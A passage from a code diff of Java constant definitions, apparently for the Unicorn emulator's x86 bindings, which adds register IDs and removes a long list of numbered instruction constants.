UC_X86_REG_FIP = 254; + public static final int UC_X86_REG_FCS = 255; + public static final int UC_X86_REG_FDP = 256; + public static final int UC_X86_REG_FDS = 257; + public static final int UC_X86_REG_FOP = 258; + public static final int UC_X86_REG_ENDING = 259; -// X86 instructions + // X86 instructions - public static final int UC_X86_INS_INVALID = 0; - public static final int UC_X86_INS_AAA = 1; - public static final int UC_X86_INS_AAD = 2; - public static final int UC_X86_INS_AAM = 3; - public static final int UC_X86_INS_AAS = 4; - public static final int UC_X86_INS_FABS = 5; - public static final int UC_X86_INS_ADC = 6; - public static final int UC_X86_INS_ADCX = 7; - public static final int UC_X86_INS_ADD = 8; - public static final int UC_X86_INS_ADDPD = 9; - public static final int UC_X86_INS_ADDPS = 10; - public static final int UC_X86_INS_ADDSD = 11; - public static final int UC_X86_INS_ADDSS = 12; - public static final int UC_X86_INS_ADDSUBPD = 13; - public static final int UC_X86_INS_ADDSUBPS = 14; - public static final int UC_X86_INS_FADD = 15; - public static final int UC_X86_INS_FIADD = 16; - public static final int UC_X86_INS_FADDP = 17; - public static final int UC_X86_INS_ADOX = 18; - public static final int UC_X86_INS_AESDECLAST = 19; - public static final int UC_X86_INS_AESDEC = 20; - public static final int UC_X86_INS_AESENCLAST = 21; - public static final int UC_X86_INS_AESENC = 22; - public static final int UC_X86_INS_AESIMC = 23; - public static final int UC_X86_INS_AESKEYGENASSIST = 24; - public static final int UC_X86_INS_AND = 25; - public static final int UC_X86_INS_ANDN = 26; - public static final int UC_X86_INS_ANDNPD = 27; - public static final int UC_X86_INS_ANDNPS = 28; - public static final int UC_X86_INS_ANDPD = 29; - public static final int UC_X86_INS_ANDPS = 30; - public static final int UC_X86_INS_ARPL = 31; - public static final int UC_X86_INS_BEXTR = 32; - public static final int UC_X86_INS_BLCFILL = 33; - public static final int UC_X86_INS_BLCI = 34; - public static final int UC_X86_INS_BLCIC = 35; - public static final int UC_X86_INS_BLCMSK = 36; - public static final int UC_X86_INS_BLCS = 37; - public static final int UC_X86_INS_BLENDPD = 38; - public static final int UC_X86_INS_BLENDPS = 39; - public static final int UC_X86_INS_BLENDVPD = 40; - public static final int UC_X86_INS_BLENDVPS = 41; - public static final int UC_X86_INS_BLSFILL = 42; - public static final int UC_X86_INS_BLSI = 43; - public static final int UC_X86_INS_BLSIC = 44; - public static final int UC_X86_INS_BLSMSK = 45; - public static final int UC_X86_INS_BLSR = 46; - public static final int UC_X86_INS_BOUND = 47; - public static final int UC_X86_INS_BSF = 48; - public static final int UC_X86_INS_BSR = 49; - public static final int UC_X86_INS_BSWAP = 50; - public static final int UC_X86_INS_BT = 51; - public static final int UC_X86_INS_BTC = 52; - public static final int UC_X86_INS_BTR = 53; - public static final int UC_X86_INS_BTS = 54; - public static final int UC_X86_INS_BZHI = 55; - public static final int UC_X86_INS_CALL = 56; - public static final int UC_X86_INS_CBW = 57; - public static final int UC_X86_INS_CDQ = 58; - public static final int UC_X86_INS_CDQE = 59; - public static final int UC_X86_INS_FCHS = 60; - public static final int UC_X86_INS_CLAC = 61; - public static final int UC_X86_INS_CLC = 62; - public static final int UC_X86_INS_CLD = 63; - public static final int UC_X86_INS_CLFLUSH = 64; - public static final int UC_X86_INS_CLFLUSHOPT = 65; - public static final int UC_X86_INS_CLGI = 66; - public static final int UC_X86_INS_CLI = 67; - public static final int UC_X86_INS_CLTS = 68; - public static final int UC_X86_INS_CLWB = 69; - public static final int UC_X86_INS_CMC = 70; - public static final int UC_X86_INS_CMOVA = 71; - public static final int UC_X86_INS_CMOVAE = 72; - public static final int UC_X86_INS_CMOVB = 73; - public static final int UC_X86_INS_CMOVBE = 74; - public static final int UC_X86_INS_FCMOVBE = 75; - public static final int UC_X86_INS_FCMOVB = 76; - public static final int UC_X86_INS_CMOVE = 77; - public static final int UC_X86_INS_FCMOVE = 78; - public static final int UC_X86_INS_CMOVG = 79; - public static final int UC_X86_INS_CMOVGE = 80; - public static final int UC_X86_INS_CMOVL = 81; - public static final int UC_X86_INS_CMOVLE = 82; - public static final int UC_X86_INS_FCMOVNBE = 83; - public static final int UC_X86_INS_FCMOVNB = 84; - public static final int UC_X86_INS_CMOVNE = 85; - public static final int UC_X86_INS_FCMOVNE = 86; - public static final int UC_X86_INS_CMOVNO = 87; - public static final int UC_X86_INS_CMOVNP = 88; - public static final int UC_X86_INS_FCMOVNU = 89; - public static final int UC_X86_INS_CMOVNS = 90; - public static final int UC_X86_INS_CMOVO = 91; - public static final int UC_X86_INS_CMOVP = 92; - public static final int UC_X86_INS_FCMOVU = 93; - public static final int UC_X86_INS_CMOVS = 94; - public static final int UC_X86_INS_CMP = 95; - public static final int UC_X86_INS_CMPPD = 96; - public static final int UC_X86_INS_CMPPS = 97; - public static final int UC_X86_INS_CMPSB = 98; - public static final int UC_X86_INS_CMPSD = 99; - public static final int UC_X86_INS_CMPSQ = 100; - public static final int UC_X86_INS_CMPSS = 101; - public static final int UC_X86_INS_CMPSW = 102; - public static final int UC_X86_INS_CMPXCHG16B = 103; - public static final int UC_X86_INS_CMPXCHG = 104; - public static final int UC_X86_INS_CMPXCHG8B = 105; - public static final int UC_X86_INS_COMISD = 106; - public static final int UC_X86_INS_COMISS = 107; - public static final int UC_X86_INS_FCOMP = 108; - public static final int UC_X86_INS_FCOMPI = 109; - public static final int UC_X86_INS_FCOMI = 110; - public static final int UC_X86_INS_FCOM = 111; - public static final int UC_X86_INS_FCOS = 112; - public static final int UC_X86_INS_CPUID = 113; - public static final int UC_X86_INS_CQO = 114; - public static final int UC_X86_INS_CRC32 = 115; - public static final int UC_X86_INS_CVTDQ2PD = 116; - public static final int UC_X86_INS_CVTDQ2PS = 117; - public static final int UC_X86_INS_CVTPD2DQ = 118; - public static final int UC_X86_INS_CVTPD2PS = 119; - public static final int UC_X86_INS_CVTPS2DQ = 120; - public static final int UC_X86_INS_CVTPS2PD = 121; - public static final int UC_X86_INS_CVTSD2SI = 122; - public static final int UC_X86_INS_CVTSD2SS = 123; - public static final int UC_X86_INS_CVTSI2SD = 124; - public static final int UC_X86_INS_CVTSI2SS = 125; - public static final int UC_X86_INS_CVTSS2SD = 126; - public static final int UC_X86_INS_CVTSS2SI = 127; - public static final int UC_X86_INS_CVTTPD2DQ = 128; - public static final int UC_X86_INS_CVTTPS2DQ = 129; - public static final int UC_X86_INS_CVTTSD2SI = 130; - public static final int UC_X86_INS_CVTTSS2SI = 131; - public static final int UC_X86_INS_CWD = 132; - public static final int UC_X86_INS_CWDE = 133; - public static final int UC_X86_INS_DAA = 134; - public static final int UC_X86_INS_DAS = 135; - public static final int UC_X86_INS_DATA16 = 136; - public static final int UC_X86_INS_DEC = 137; - public static final int UC_X86_INS_DIV = 138; - public static final int UC_X86_INS_DIVPD = 139; - public static final int UC_X86_INS_DIVPS = 140; - public static final int UC_X86_INS_FDIVR = 141; - public static final int UC_X86_INS_FIDIVR = 142; - public static final int UC_X86_INS_FDIVRP = 143; - public static final int UC_X86_INS_DIVSD = 144; - public static final int UC_X86_INS_DIVSS = 145; - public static final int UC_X86_INS_FDIV = 146; - public static final int UC_X86_INS_FIDIV = 147; - public static final int UC_X86_INS_FDIVP = 148; - public static final int UC_X86_INS_DPPD = 149; - public static final int UC_X86_INS_DPPS = 150; - public static final int UC_X86_INS_RET = 151; - public static final int UC_X86_INS_ENCLS = 152; - public static final int UC_X86_INS_ENCLU = 153; - public static final int UC_X86_INS_ENTER = 154; - public static final int UC_X86_INS_EXTRACTPS = 155; - public static final int UC_X86_INS_EXTRQ = 156; - public static final int UC_X86_INS_F2XM1 = 157; - public static final int UC_X86_INS_LCALL = 158; - public static final int UC_X86_INS_LJMP = 159; - public static final int UC_X86_INS_FBLD = 160; - public static final int UC_X86_INS_FBSTP = 161; - public static final int UC_X86_INS_FCOMPP = 162; - public static final int UC_X86_INS_FDECSTP = 163; - public static final int UC_X86_INS_FEMMS = 164; - public static final int UC_X86_INS_FFREE = 165; - public static final int UC_X86_INS_FICOM = 166; - public static final int UC_X86_INS_FICOMP = 167; - public static final int UC_X86_INS_FINCSTP = 168; - public static final int UC_X86_INS_FLDCW = 169; - public static final int UC_X86_INS_FLDENV = 170; - public static final int UC_X86_INS_FLDL2E = 171; - public static final int UC_X86_INS_FLDL2T = 172; - public static final int UC_X86_INS_FLDLG2 = 173; - public static final int UC_X86_INS_FLDLN2 = 174; - public static final int UC_X86_INS_FLDPI = 175; - public static final int UC_X86_INS_FNCLEX = 176; - public static final int UC_X86_INS_FNINIT = 177; - public static final int UC_X86_INS_FNOP = 178; - public static final int UC_X86_INS_FNSTCW = 179; - public static final int UC_X86_INS_FNSTSW = 180; - public static final int UC_X86_INS_FPATAN = 181; - public static final int UC_X86_INS_FPREM = 182; - public static final int UC_X86_INS_FPREM1 = 183; - public static final int UC_X86_INS_FPTAN = 184; - public static final int UC_X86_INS_FFREEP = 185; - public static final int UC_X86_INS_FRNDINT = 186; - public static final int UC_X86_INS_FRSTOR = 187; - public static final int UC_X86_INS_FNSAVE = 188; - public static final int UC_X86_INS_FSCALE = 189; - public static final int UC_X86_INS_FSETPM = 190; - public static final int UC_X86_INS_FSINCOS = 191; - public static final int UC_X86_INS_FNSTENV = 192; - public static final int UC_X86_INS_FXAM = 193; - public static final int UC_X86_INS_FXRSTOR = 194; - public static final int UC_X86_INS_FXRSTOR64 = 195; - public static final int UC_X86_INS_FXSAVE = 196; - public static final int UC_X86_INS_FXSAVE64 = 197; - public static final int UC_X86_INS_FXTRACT = 198; - public static final int UC_X86_INS_FYL2X = 199; - public static final int UC_X86_INS_FYL2XP1 = 200; - public static final int UC_X86_INS_MOVAPD = 201; - public static final int UC_X86_INS_MOVAPS = 202; - public static final int UC_X86_INS_ORPD = 203; - public static final int UC_X86_INS_ORPS = 204; - public static final int UC_X86_INS_VMOVAPD = 205; - public static final int UC_X86_INS_VMOVAPS = 206; - public static final int UC_X86_INS_XORPD = 207; - public static final int UC_X86_INS_XORPS = 208; - public static final int UC_X86_INS_GETSEC = 209; - public static final int UC_X86_INS_HADDPD = 210; - public static final int UC_X86_INS_HADDPS = 211; - public static final int UC_X86_INS_HLT = 212; - public static final int UC_X86_INS_HSUBPD = 213; - public static final int UC_X86_INS_HSUBPS = 214; - public static final int UC_X86_INS_IDIV = 215; - public static final int UC_X86_INS_FILD = 216; - public static final int UC_X86_INS_IMUL = 217; - public static final int UC_X86_INS_IN = 218; - public static final int UC_X86_INS_INC = 219; - public static final int UC_X86_INS_INSB = 220; - public static final int UC_X86_INS_INSERTPS = 221; - public static final int UC_X86_INS_INSERTQ = 222; - public static final int UC_X86_INS_INSD = 223; - public static final int UC_X86_INS_INSW = 224; - public static final int UC_X86_INS_INT = 225; - public static final int UC_X86_INS_INT1 = 226; - public static final int UC_X86_INS_INT3 = 227; - public static final int UC_X86_INS_INTO = 228; - public static final int UC_X86_INS_INVD = 229; - public static final int UC_X86_INS_INVEPT = 230; - public static final int UC_X86_INS_INVLPG = 231; - public static final int UC_X86_INS_INVLPGA = 232; - public static final int UC_X86_INS_INVPCID = 233; - public static final int UC_X86_INS_INVVPID = 234; - public static final int UC_X86_INS_IRET = 235; - public static final int UC_X86_INS_IRETD = 236; - public static final int UC_X86_INS_IRETQ = 237; - public static final int UC_X86_INS_FISTTP = 238; - public static final int UC_X86_INS_FIST = 239; - public static final int UC_X86_INS_FISTP = 240; - public static final int UC_X86_INS_UCOMISD = 241; - public static final int UC_X86_INS_UCOMISS = 242; - public static final int UC_X86_INS_VCOMISD = 243; - public static final int UC_X86_INS_VCOMISS = 244; - public static final int UC_X86_INS_VCVTSD2SS = 245; - public static final int UC_X86_INS_VCVTSI2SD = 246; - public static final int UC_X86_INS_VCVTSI2SS = 247; - public static final int UC_X86_INS_VCVTSS2SD = 248; - public static final int UC_X86_INS_VCVTTSD2SI = 249; - public static final int UC_X86_INS_VCVTTSD2USI = 250; - public static final int UC_X86_INS_VCVTTSS2SI = 251; - public static final int UC_X86_INS_VCVTTSS2USI = 252; - public static final int UC_X86_INS_VCVTUSI2SD = 253; - public static final int UC_X86_INS_VCVTUSI2SS = 254; - public static final int UC_X86_INS_VUCOMISD = 255; - public static final int UC_X86_INS_VUCOMISS = 256; - public static final int UC_X86_INS_JAE = 257; - public static final int UC_X86_INS_JA = 258; - public static final int UC_X86_INS_JBE = 259; - public static final int UC_X86_INS_JB = 260; - public static final int UC_X86_INS_JCXZ = 261; - public static final int UC_X86_INS_JECXZ = 262; - public static final int UC_X86_INS_JE = 263; - public static final int UC_X86_INS_JGE = 264; - public static final int UC_X86_INS_JG = 265; - public static final int UC_X86_INS_JLE = 266; - public static final int UC_X86_INS_JL = 267; - public static final int UC_X86_INS_JMP = 268; - public static final int UC_X86_INS_JNE = 269; - public static final int UC_X86_INS_JNO = 270; - public static final int UC_X86_INS_JNP = 271; - public static final int UC_X86_INS_JNS = 272; - public static final int UC_X86_INS_JO = 273; - public static final int UC_X86_INS_JP = 274; - public static final int UC_X86_INS_JRCXZ = 275; - public static final int UC_X86_INS_JS = 276; - public static final int UC_X86_INS_KANDB = 277; - public static final int UC_X86_INS_KANDD = 278; - public static final int UC_X86_INS_KANDNB = 279; - public static final int UC_X86_INS_KANDND = 280; - public static final int UC_X86_INS_KANDNQ = 281; - public static final int UC_X86_INS_KANDNW = 282; - public static final int UC_X86_INS_KANDQ = 283; - public static final int UC_X86_INS_KANDW = 284; - public static final int UC_X86_INS_KMOVB = 285; - public static final int UC_X86_INS_KMOVD = 286; - public static final int UC_X86_INS_KMOVQ = 287; - public static final int UC_X86_INS_KMOVW = 288; - public static final int UC_X86_INS_KNOTB = 289; - public static final int UC_X86_INS_KNOTD = 290; - public static final int UC_X86_INS_KNOTQ = 291; - public static final int UC_X86_INS_KNOTW = 292; - public static final int UC_X86_INS_KORB = 293; - public static final int UC_X86_INS_KORD = 294; - public static final int UC_X86_INS_KORQ = 295; - public static final int UC_X86_INS_KORTESTB = 296; - public static final int UC_X86_INS_KORTESTD = 297; - public static final int UC_X86_INS_KORTESTQ = 298; - public static final int UC_X86_INS_KORTESTW = 299; - public static final int UC_X86_INS_KORW = 300; - public static final int UC_X86_INS_KSHIFTLB = 301; - public static final int UC_X86_INS_KSHIFTLD = 302; - public static final int UC_X86_INS_KSHIFTLQ = 303; - public static final int UC_X86_INS_KSHIFTLW = 304; - public static final int UC_X86_INS_KSHIFTRB = 305; - public static final int UC_X86_INS_KSHIFTRD = 306; - public static final int UC_X86_INS_KSHIFTRQ = 307; - public static final int UC_X86_INS_KSHIFTRW = 308; - public static final int UC_X86_INS_KUNPCKBW = 309; - public static final int UC_X86_INS_KXNORB = 310; - public static final int UC_X86_INS_KXNORD = 311; - public static final int UC_X86_INS_KXNORQ = 312; - public static final int UC_X86_INS_KXNORW = 313; - public static final int UC_X86_INS_KXORB = 314; - public static final int UC_X86_INS_KXORD = 315; - public static final int UC_X86_INS_KXORQ = 316; - public static final int UC_X86_INS_KXORW = 317; - public static final int UC_X86_INS_LAHF = 318; - public static final int UC_X86_INS_LAR = 319; - public static final int UC_X86_INS_LDDQU = 320; - public static final int UC_X86_INS_LDMXCSR = 321; - public static final int UC_X86_INS_LDS = 322; - public static final int UC_X86_INS_FLDZ = 323; - public static final int UC_X86_INS_FLD1 = 324; - public static final int UC_X86_INS_FLD = 325; - public static final int UC_X86_INS_LEA = 326; - public static final int UC_X86_INS_LEAVE = 327; - public static final int UC_X86_INS_LES = 328; - public static final int UC_X86_INS_LFENCE = 329; - public static final int UC_X86_INS_LFS = 330; - public static final int UC_X86_INS_LGDT = 331; - public static final int UC_X86_INS_LGS = 332; - public static final int UC_X86_INS_LIDT = 333; - public static final int UC_X86_INS_LLDT = 334; - public static final int UC_X86_INS_LMSW = 335; - public static final int UC_X86_INS_OR = 336; - public static final int UC_X86_INS_SUB = 337; - public static final int UC_X86_INS_XOR = 338; - public static final int UC_X86_INS_LODSB = 339; - public static final int UC_X86_INS_LODSD = 340; - public static final int UC_X86_INS_LODSQ = 341; - public static final int UC_X86_INS_LODSW = 342; - public static final int UC_X86_INS_LOOP = 343; - public static final int UC_X86_INS_LOOPE = 344; - public static final int UC_X86_INS_LOOPNE = 345; - public static final int UC_X86_INS_RETF = 346; - public static final int UC_X86_INS_RETFQ = 347; - public static final int UC_X86_INS_LSL = 348; - public static final int UC_X86_INS_LSS = 349; - public static final int UC_X86_INS_LTR = 350; - public static final int UC_X86_INS_XADD = 351; - public static final int UC_X86_INS_LZCNT = 352; - public static final int UC_X86_INS_MASKMOVDQU = 353; - public static final int UC_X86_INS_MAXPD = 354; - public static final int UC_X86_INS_MAXPS = 355; - public static final int UC_X86_INS_MAXSD = 356; - public static final int UC_X86_INS_MAXSS = 357; - public static final int UC_X86_INS_MFENCE = 358; - public static final int UC_X86_INS_MINPD = 359; - public static final int UC_X86_INS_MINPS = 360; - public static final int UC_X86_INS_MINSD = 361; - public static final int UC_X86_INS_MINSS = 362; - public static final int UC_X86_INS_CVTPD2PI = 363; - public static final int UC_X86_INS_CVTPI2PD = 364; - public static final int UC_X86_INS_CVTPI2PS = 365; - public static final int UC_X86_INS_CVTPS2PI = 366; - public static final int UC_X86_INS_CVTTPD2PI = 367; - public static final int UC_X86_INS_CVTTPS2PI = 368; - public static final int UC_X86_INS_EMMS = 369; - public static final int UC_X86_INS_MASKMOVQ = 370; - public static final int UC_X86_INS_MOVD = 371; - public static final int UC_X86_INS_MOVDQ2Q = 372; - public static final int UC_X86_INS_MOVNTQ = 373; - public static final int UC_X86_INS_MOVQ2DQ = 374; - public static final int UC_X86_INS_MOVQ = 375; - public static final int UC_X86_INS_PABSB = 376; - public static final int UC_X86_INS_PABSD = 377; - public static final int UC_X86_INS_PABSW = 378; - public static final int UC_X86_INS_PACKSSDW = 379; - public static final int UC_X86_INS_PACKSSWB = 380; - public static final int UC_X86_INS_PACKUSWB = 381; - public static final int UC_X86_INS_PADDB = 382; - public static final int UC_X86_INS_PADDD = 383; - public static final int UC_X86_INS_PADDQ = 384; - public static final int UC_X86_INS_PADDSB = 385; - public static final int UC_X86_INS_PADDSW = 386; - public static final int UC_X86_INS_PADDUSB = 387; - public static final int UC_X86_INS_PADDUSW = 388; - public static final int UC_X86_INS_PADDW = 389; - public static final int UC_X86_INS_PALIGNR = 390; - public static final int UC_X86_INS_PANDN = 391; - public static final int UC_X86_INS_PAND = 392; - public static final int UC_X86_INS_PAVGB = 393; - public static final int UC_X86_INS_PAVGW = 394; - public static final int UC_X86_INS_PCMPEQB = 395; - public static final int UC_X86_INS_PCMPEQD = 396; - public static final int UC_X86_INS_PCMPEQW = 397; - public static final int UC_X86_INS_PCMPGTB = 398; - public static final int UC_X86_INS_PCMPGTD = 399; - public static final int UC_X86_INS_PCMPGTW = 400; - public static final int UC_X86_INS_PEXTRW = 401; - public static final int UC_X86_INS_PHADDSW = 402; - public static final int UC_X86_INS_PHADDW = 403; - public static final int UC_X86_INS_PHADDD = 404; - public static final int UC_X86_INS_PHSUBD = 405; - public static final int UC_X86_INS_PHSUBSW = 406; - public static final int UC_X86_INS_PHSUBW = 407; - public static final int UC_X86_INS_PINSRW = 408; - public static final int UC_X86_INS_PMADDUBSW = 409; - public static final int UC_X86_INS_PMADDWD = 410; - public static final int UC_X86_INS_PMAXSW = 411; - public static final int UC_X86_INS_PMAXUB = 412; - public static final int UC_X86_INS_PMINSW = 413; - public static final int UC_X86_INS_PMINUB = 414; - public static final int UC_X86_INS_PMOVMSKB = 415; - public static final int UC_X86_INS_PMULHRSW = 416; - public static final int UC_X86_INS_PMULHUW = 417; - public static final int UC_X86_INS_PMULHW = 418; - public static final int UC_X86_INS_PMULLW = 419; - public static final int UC_X86_INS_PMULUDQ = 420; - public static final int UC_X86_INS_POR = 421; - public static final int UC_X86_INS_PSADBW = 422; - public static final int UC_X86_INS_PSHUFB = 423; - public static final int UC_X86_INS_PSHUFW = 424; - public static final int UC_X86_INS_PSIGNB = 425; - public static final int UC_X86_INS_PSIGND = 426; - public static final int UC_X86_INS_PSIGNW = 427; - public static final int UC_X86_INS_PSLLD = 428; - public static final int UC_X86_INS_PSLLQ = 429; - public static final int UC_X86_INS_PSLLW = 430; - public static final int UC_X86_INS_PSRAD = 431; - public static final int UC_X86_INS_PSRAW = 432; - public static final int UC_X86_INS_PSRLD = 433; - public static final int UC_X86_INS_PSRLQ = 434; - public static final int UC_X86_INS_PSRLW = 435; - public static final int UC_X86_INS_PSUBB = 436; - public static final int UC_X86_INS_PSUBD = 437; - public static final int UC_X86_INS_PSUBQ = 438; - public static final int UC_X86_INS_PSUBSB = 439; - public static final int UC_X86_INS_PSUBSW = 440; - public static final int UC_X86_INS_PSUBUSB = 441; - public static final int UC_X86_INS_PSUBUSW = 442; - public static final int UC_X86_INS_PSUBW = 443; - public static final int UC_X86_INS_PUNPCKHBW = 444; - public static final int UC_X86_INS_PUNPCKHDQ = 445; - public static final int UC_X86_INS_PUNPCKHWD = 446; - public static final int UC_X86_INS_PUNPCKLBW = 447; - public static final int UC_X86_INS_PUNPCKLDQ = 448; - public static final int UC_X86_INS_PUNPCKLWD = 449; - public static final int UC_X86_INS_PXOR = 450; - public static final int UC_X86_INS_MONITOR = 451; - public static final int UC_X86_INS_MONTMUL = 452; - public static final int UC_X86_INS_MOV = 453; - public static final int UC_X86_INS_MOVABS = 454; - public static final int UC_X86_INS_MOVBE = 455; - public static final int UC_X86_INS_MOVDDUP = 456; - public static final int UC_X86_INS_MOVDQA = 457; - public static final int UC_X86_INS_MOVDQU = 458; - public static final int UC_X86_INS_MOVHLPS = 459; - public static final int UC_X86_INS_MOVHPD = 460; - public static final int UC_X86_INS_MOVHPS = 461; - public static final int UC_X86_INS_MOVLHPS = 462; - public static final int UC_X86_INS_MOVLPD = 463; - public static final int UC_X86_INS_MOVLPS = 464; - public static final int UC_X86_INS_MOVMSKPD = 465; - public static final int UC_X86_INS_MOVMSKPS = 466; - public static final int UC_X86_INS_MOVNTDQA = 467; - public static final int UC_X86_INS_MOVNTDQ = 468; - public static final int UC_X86_INS_MOVNTI = 469; - public static final int UC_X86_INS_MOVNTPD = 470; - public static final int UC_X86_INS_MOVNTPS = 471; - public static final int UC_X86_INS_MOVNTSD = 472; - public static final int UC_X86_INS_MOVNTSS = 473; - public static final int UC_X86_INS_MOVSB = 474; - public static final int UC_X86_INS_MOVSD = 475; - public static final int UC_X86_INS_MOVSHDUP = 476; - public static final int UC_X86_INS_MOVSLDUP = 477; - public static final int UC_X86_INS_MOVSQ = 478; - public static final int UC_X86_INS_MOVSS = 479; - public static final int UC_X86_INS_MOVSW = 480; - public static final int UC_X86_INS_MOVSX = 481; - public static final int UC_X86_INS_MOVSXD = 482; - public static final int UC_X86_INS_MOVUPD = 483; - public static final int UC_X86_INS_MOVUPS = 484; - public static final int UC_X86_INS_MOVZX = 485; - public static final int UC_X86_INS_MPSADBW = 486; - public static final int UC_X86_INS_MUL = 487; - public static final int UC_X86_INS_MULPD = 488; - public static final int UC_X86_INS_MULPS = 489; - public static final int UC_X86_INS_MULSD = 490; - public static final int UC_X86_INS_MULSS = 491; - public static final int UC_X86_INS_MULX = 492; - public static final int UC_X86_INS_FMUL = 493; - public static final int UC_X86_INS_FIMUL = 494; - public static final int UC_X86_INS_FMULP = 495; - public static final int UC_X86_INS_MWAIT = 496; - public static final int UC_X86_INS_NEG = 497; - public static final int UC_X86_INS_NOP = 498; - public static final int UC_X86_INS_NOT = 499; - public static final int UC_X86_INS_OUT = 500; - public static final int UC_X86_INS_OUTSB = 501; - public static final int UC_X86_INS_OUTSD = 502; - public static final int UC_X86_INS_OUTSW = 503; - public static final int UC_X86_INS_PACKUSDW = 504; - public static final int UC_X86_INS_PAUSE = 505; - public static final int UC_X86_INS_PAVGUSB = 506; - public static final int UC_X86_INS_PBLENDVB = 507; - public static final int UC_X86_INS_PBLENDW = 508; - public static final int UC_X86_INS_PCLMULQDQ = 509; - public static final int UC_X86_INS_PCMPEQQ = 510; - public static final int UC_X86_INS_PCMPESTRI = 511; - public static final int UC_X86_INS_PCMPESTRM = 512; - public static final int UC_X86_INS_PCMPGTQ = 513; - public static final int UC_X86_INS_PCMPISTRI = 514; - public static final int UC_X86_INS_PCMPISTRM = 515; - public static final int UC_X86_INS_PCOMMIT = 516; - public static final int UC_X86_INS_PDEP = 517; - public static final int UC_X86_INS_PEXT = 518; - public static final int UC_X86_INS_PEXTRB = 519; - public static final int UC_X86_INS_PEXTRD = 520; - public static final int UC_X86_INS_PEXTRQ = 521; - public static final int UC_X86_INS_PF2ID = 522; - public static final int UC_X86_INS_PF2IW = 523; - public static final int UC_X86_INS_PFACC = 524; - public static final int UC_X86_INS_PFADD = 525; - public static final int UC_X86_INS_PFCMPEQ = 526; - public static final int UC_X86_INS_PFCMPGE = 527; - public static final int UC_X86_INS_PFCMPGT = 528; - public static final int UC_X86_INS_PFMAX = 529; - public static final int UC_X86_INS_PFMIN = 530; - public static final int UC_X86_INS_PFMUL = 531; - public static final int UC_X86_INS_PFNACC = 532; - public static final int UC_X86_INS_PFPNACC = 533; - public static final int UC_X86_INS_PFRCPIT1 = 534; - public static final int UC_X86_INS_PFRCPIT2 = 535; - public static final int UC_X86_INS_PFRCP = 536; - public static final int UC_X86_INS_PFRSQIT1 = 537; - public static final int UC_X86_INS_PFRSQRT = 538; - public static final int UC_X86_INS_PFSUBR = 539; - public static final int UC_X86_INS_PFSUB = 540; - public static final int UC_X86_INS_PHMINPOSUW = 541; - public static final int UC_X86_INS_PI2FD = 542; - public static final int UC_X86_INS_PI2FW = 543; - public static final int UC_X86_INS_PINSRB = 544; - public static final int UC_X86_INS_PINSRD = 545; - public static final int UC_X86_INS_PINSRQ = 546; - public static final int UC_X86_INS_PMAXSB = 547; - public static final int UC_X86_INS_PMAXSD = 548; - public static final int UC_X86_INS_PMAXUD = 549; - public static final int UC_X86_INS_PMAXUW = 550; - public static final int UC_X86_INS_PMINSB = 551; - public static final int UC_X86_INS_PMINSD = 552; - public static final int UC_X86_INS_PMINUD = 553; - public static final int UC_X86_INS_PMINUW = 554; - public static final int UC_X86_INS_PMOVSXBD = 555; - public static final int UC_X86_INS_PMOVSXBQ = 556; - public static final int UC_X86_INS_PMOVSXBW = 557; - public static final int UC_X86_INS_PMOVSXDQ = 558; - public static final int UC_X86_INS_PMOVSXWD = 559; - public static final int UC_X86_INS_PMOVSXWQ = 560; - public static final int UC_X86_INS_PMOVZXBD = 561; - public static final int UC_X86_INS_PMOVZXBQ = 562; - public static final int UC_X86_INS_PMOVZXBW = 563; - public static final int UC_X86_INS_PMOVZXDQ = 564; - public static final int UC_X86_INS_PMOVZXWD = 565; - public static final int UC_X86_INS_PMOVZXWQ = 566; - public static final int UC_X86_INS_PMULDQ = 567; - public static final int UC_X86_INS_PMULHRW = 568; - public static final int UC_X86_INS_PMULLD = 569; - public static final int UC_X86_INS_POP = 570; - public static final int UC_X86_INS_POPAW = 571; - public static final int UC_X86_INS_POPAL = 572; - public static final int UC_X86_INS_POPCNT = 573; - public static final int UC_X86_INS_POPF = 574; - public static final int UC_X86_INS_POPFD = 575; - public static final int UC_X86_INS_POPFQ = 576; - public static final int UC_X86_INS_PREFETCH = 577; - public static final int UC_X86_INS_PREFETCHNTA = 578; - public static final int UC_X86_INS_PREFETCHT0 = 579; - public static final int UC_X86_INS_PREFETCHT1 = 580; - public static final int UC_X86_INS_PREFETCHT2 = 581; - public static final int UC_X86_INS_PREFETCHW = 582; - public static final int UC_X86_INS_PSHUFD = 583; - public static final int UC_X86_INS_PSHUFHW = 584; - public static final int UC_X86_INS_PSHUFLW = 585; - public static final int UC_X86_INS_PSLLDQ = 586; - public static final int UC_X86_INS_PSRLDQ = 587; - public static final int UC_X86_INS_PSWAPD = 588; - public static final int UC_X86_INS_PTEST = 589; - public static final int UC_X86_INS_PUNPCKHQDQ = 590; - public static final int UC_X86_INS_PUNPCKLQDQ = 591; - public static final int UC_X86_INS_PUSH = 592; - public static final int UC_X86_INS_PUSHAW = 593; - public static final int UC_X86_INS_PUSHAL = 594; - public static final int UC_X86_INS_PUSHF = 595; - public static final int UC_X86_INS_PUSHFD = 596; - public static final int UC_X86_INS_PUSHFQ = 597; - public static final int UC_X86_INS_RCL = 598; - public static final int UC_X86_INS_RCPPS = 599; - public static final int UC_X86_INS_RCPSS = 600; - public static final int UC_X86_INS_RCR = 601; - public static final int UC_X86_INS_RDFSBASE = 602; - public static final int UC_X86_INS_RDGSBASE = 603; - public static final int UC_X86_INS_RDMSR = 604; - public static final int UC_X86_INS_RDPMC = 605; - public static final int UC_X86_INS_RDRAND = 606; - public static final int UC_X86_INS_RDSEED = 607; - public static final int UC_X86_INS_RDTSC = 608; - public static final int UC_X86_INS_RDTSCP = 609; - public static final int UC_X86_INS_ROL = 610; - public static final int UC_X86_INS_ROR = 611; - public static final int UC_X86_INS_RORX = 612; - public static final int UC_X86_INS_ROUNDPD = 613; - public static final int UC_X86_INS_ROUNDPS = 614; - public static final int UC_X86_INS_ROUNDSD = 615; - public static final int UC_X86_INS_ROUNDSS = 616; - public static final int UC_X86_INS_RSM = 617; - public static final int UC_X86_INS_RSQRTPS = 618; - public static final int UC_X86_INS_RSQRTSS = 619; - public static final int UC_X86_INS_SAHF = 620; - public static final int UC_X86_INS_SAL = 621; - public static final int UC_X86_INS_SALC = 622; - public static final int UC_X86_INS_SAR = 623; - public static final int UC_X86_INS_SARX = 624; - public static final int UC_X86_INS_SBB = 625; - public static final int UC_X86_INS_SCASB = 626; - public static final int UC_X86_INS_SCASD = 627; - public static final int UC_X86_INS_SCASQ = 628; - public static final int UC_X86_INS_SCASW = 629; - public static final int UC_X86_INS_SETAE = 630; - public static final int UC_X86_INS_SETA = 631; - public static final int UC_X86_INS_SETBE = 632; - public static final int 